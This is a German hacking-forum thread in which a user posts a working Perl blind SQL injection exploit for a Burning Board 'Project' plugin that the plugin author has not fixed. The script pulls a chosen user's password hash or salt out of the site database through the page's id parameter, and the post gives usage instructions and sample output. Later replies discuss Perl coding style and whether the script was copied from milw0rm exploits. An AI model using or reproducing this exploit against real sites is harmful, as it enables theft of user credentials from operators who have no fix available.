Baumstrukturmodus | Linearer Modus

molli · 22.01.2010, 12:54

Dachte ich poste das ma hier evt kann es ja wer gebrauchen ^^
Coder des plugins ist informiert hat aber kein bock sich zu kümmern
Da es nicht viele seiten gibt die das plugin nutzen, weil es noch nicht wirklich released worden is (4 oder so)
hab ich das sploit nirgends gepostet

Ist natürlich nicht zum unfug machen da!

Vorschau:

Code:

#####################################################

   # Wortlap Burning Board Remote Blind SQL Injection  #

   #             Injection in Project Plugin           #

   #                   coded by Molli                  #

   #####################################################

[~] Usage: perl pro.pl [Host] [Path] <Options>

[~] Example: perl pro.pl 127.0.0.1 /wbb/ -i 2 -t wcf2_user -s -id Project

[~] Options:

       -i [no]       User-ID, default is 1

       -t [name]     Changed the user table name, default is wcf1_user

       -p [ip:port]  Proxy support

       -s            Get Salt, default get Hash

       -id[vuln id]  Existing Project name

C:\>pro.pl www.site.de / -id project

[!] Exploiting...

[!] Hash: 1234567890123456789012345678901234567890

[!] Exploit done

C:\>pro.pl www.site.de / -id project -s

[!] Exploiting...

[!] Salt: 1234567890123456789012345678901234567890

[!] Exploit done

Exploit:

Code:

#!/usr/bin/perl

use LWP::UserAgent;

use Getopt::Long;

if(!$ARGV[1])

{

  print "\n   #####################################################";

  print "\n   # Wortlap Burning Board Remote Blind SQL Injection  #";

  print "\n   #             Injection in Project Plugin           #";

  print "\n   #                   coded by Molli                  #";

  print "\n   #####################################################";

  print "\n[~] Usage: perl pro.pl [Host] [Path] <Options>";

  print "\n[~] Example: perl pro.pl 127.0.0.1 /wbb/ -i 2 -t wcf2_user -s -id Project";

  print "\n[~] Options:";

  print "\n       -i [no]       User-ID, default is 1";

  print "\n       -t [name]     Changed the user table name, default is wcf1_user";

  print "\n       -p [ip:port]  Proxy support";

  print "\n       -s          Get Salt, default get Hash";

  print "\n       -id[vuln id]  Existing Project name";

  print "\n";

  exit;

}

my $host    = $ARGV[0];

my $path    = $ARGV[1];

my $user    = 1;

my $table   = "wcf1_user";

my $get        = "password";

my %options = ();

GetOptions(\%options, "i=i", "t=s", "p=s", "s", "id=s");

print "[!] Exploiting...\n";

if($options{"id"})

    {

      $id = $options{"id"};

    }

        else

        {

        print "No Existing Project Name!!!!\n";

        exit;

        }

if($options{"i"})

    {

      $user = $options{"i"};

    }

if($options{"t"})

    {

      $table = $options{"t"};

    }

if($options{"s"})

    {

      $get = "salt";

      syswrite(STDOUT, "[!] Salt: ", 14);    

    }

        else

        {

        syswrite(STDOUT, "[!] Hash: ", 14);

        } 

for(my $i = 1; $i <= 41; $i++)

{

  my $found = 0;

  my $h = 48;

  while(!$found && $h <= 57)

  {

    if(istrue2($host, $path, $table, $user, $i, $h))

    {

      $found = 1;

      syswrite(STDOUT, chr($h), 1);

    }

    $h++;

  }

  if(!$found)

  {

    $h = 97;

    while(!$found && $h <= 122)

    {

      if(istrue2($host, $path, $table, $user, $i, $h))

      {

        $found = 1;

        syswrite(STDOUT, chr($h), 1);

      }

      $h++;

    }

  }

}

print "\n[!] Exploit done\n";

sub istrue2

{

  my $host  = shift;

  my $path  = shift;

  my $table = shift;

  my $uid   = shift;

  my $i     = shift;

  my $h     = shift;

  my $ua = LWP::UserAgent->new;    

  my $url = "http://".$host.$path."index.php?page=Project&id=".$id."'AND ascii(SUBSTRING((SELECT ".$get." FROM ".$table." WHERE userid=".$uid."),".$i."))='".$h."";

  if($options{"p"})

      {

        $ua->proxy('http', "http://".$options{"p"});

      }

  my $response = $ua->get($url);

  my $content = $response->content;

  my $regexp = "Anzahl Revisions";

  if($content =~ /$regexp/)

      {

        return 1;

      }

          else

          {

            return 0;

          }

}

Cheese · 22.01.2010, 15:19

Ganz nett :>

aber bischen kritik am code muss ich äußern :>
ist nicht böse gemeint, nur paar dinge was man bei perl einiges besser machen könnte :>

warum kein use strict? du benutzt doch schon überall gut "my"

dann die usage, das könntest du mit q() machen, da brauchst du nicht für jede zeile print und \n

if(!$ARGV[1]) { print q{
DIE GANZE USAGE SO WIE SIE SEIN SOLL
OHNE EXTRA NEW LINE ZEICHEN
}; }

(wenn variablen im text sein soll musst du qq() benutzen :>

if($options{"id"})
{
$id = $options{"id"};
}
else
{
print "No Existing Project Name!!!!\n";
exit;
}
kürzer wäre:
my $id = $options{"id"} or die("No Existing Project Name!!!!");

for(my $i = 1; $i <= 41; $i++)
geht genau so mit
for(1..41)

mehr hab ich jetz keine lust :>
wie gesagt nicht böse gemeint.

molli · 22.01.2010, 15:26

xD

ne fass ich jetzt auch nicht böse auf ^^

ich hab nicht mit strict gecoded weil ich beim anderen sploit nur probs mit perl hatte

da ich von naturaus faul bin hab ich es halt weg gelassen und nen anderen weg genommen^^

is halt einfach nur dahin geklatscht ^^

aber danke trotzdem konstrucktive kritick is was feines

0x30 · (Dieser Beitrag wurde zuletzt bearbeitet: 22.01.2010 15:56 von 0x30.)

Gut, da hat Cheese wohl Perl Underground gelesen, dann mach ich mal weiter.
Wieso

Code:

my $host    = $ARGV[0];

my $path    = $ARGV[1];

benutzen, wenn man

Code:

my $host    = shift;

my $path    = shift;

benutzen könnte.

Zitat:ich hab nicht mit strict gecoded weil ich beim anderen sploit nur probs mit perl hatte

Dann schreibt man den Source Code so um das er eben kein Problem macht und mit "use strict;" :D

fred777 · (Dieser Beitrag wurde zuletzt bearbeitet: 22.01.2010 18:17 von fred777.)

Somit könntest du dir auch weiteren if($option) Kram sparen:

Code:

$table   = (shift or "wcf1_user");

test123test · 24.01.2010, 10:05

@molli: von wegen den code einfach kurz dahin geklatscht. du hast den code 1 zu 1 kopiert und nur ein paar parameter angepasst.

Cheese · 24.01.2010, 12:09

sagen das es kopiert ist ohne ein link zu posten ist aber nicht gerade das beste...

test123test · 24.01.2010, 20:13

ich bin mir sicher, dass molli die sache aufklären wird.

0x30 · 24.01.2010, 20:21

Du könntest auch ganz einfach das nächste mal die Quelle gleich mit hin schreiben, dann würde es mind. 3 Posts weniger im Thread haben.
Am besten editierst du dein letzen Beitrag und schreibst die Quelle hin.

molli · 24.01.2010, 20:41

öhm ka was du da von mir jetzt willst ^^

ich hab den grund code von nem uralten sploit von mir genommen und dann für meine jetzigen zwecke geändert

da du aber das sploit net haben kannst (is immer noch np) hab ich kp was du meinst

allerdings hab ich mir bei milw0rm nen haufen bsqlis ma angeguckt und bemerkt das die sich alle ähneln und auch meins in ein shema passt

nur frag ich mich wie du darauf kommst das das net mein code sei^^ ich mein bsqli ist halt immer das selbe is klar das die codes sich ähneln oder ????

ka evt hab ich mein altes ja auch aus ner vorlage von nem anderen gemacht ka is ewig her und wenn wo is das prob ?

soll ich mich jetzt hinstellen und alles komplett anders coden nur weil es sich iwo ähneln könnte?

test123test · 31.01.2010, 06:19

quellen:
- http://www.milw0rm.com/exploits/3325
- http://www.milw0rm.com/exploits/4313
- http://www.milw0rm.com/exploits/4338

ich denke nicht, dass man hier von "ähneln" sprechen kann.

Möglicherweise verwandte Themen...
Thema:		Verfasser	Antworten:	Ansichten:	Letzter Beitrag
	wbb 2.x BSQLI in Plugin JGS-SysDoc	molli	2	235	22.01.2010 19:30 Letzter Beitrag: molli
	[PHP Live 3.3] Exploit by fred777	fred777	19	1.028	16.01.2010 11:45 Letzter Beitrag: aKiller47
	Router-Bypass-Exploit zu Samy Kamkars PoC	Invisibility	3	519	08.01.2010 16:03 Letzter Beitrag: Invisibility
	Burning Board 2 Exploit funzt nicht	Superwayne	4	746	03.01.2010 00:46 Letzter Beitrag: BuntspechT
	[WBB] Kleinanzeigenmarkt Exploit by fred777	fred777	19	2.034	23.12.2009 16:42 Letzter Beitrag: fred777
	[S] Burning Board Lite Sql Injection Exploit	SouL	9	1.321	21.12.2009 23:21 Letzter Beitrag: fred777
	Wie benutze ich einen Exploit ?[PHP]	Administrator	5	1.795	25.11.2009 15:03 Letzter Beitrag: fred777
	Wie benutze ich einen Exploit? [Perl]	Administrator	5	1.293	24.11.2009 21:25 Letzter Beitrag: fred777
	Joomla 1.0.15 Exploit gesucht - DRINGEND!	WarChild	1	639	07.08.2009 23:37 Letzter Beitrag: nonverbal
	.htaccess authentication bypass exploit	123	2	1.219	04.05.2009 20:38 Letzter Beitrag: EBFE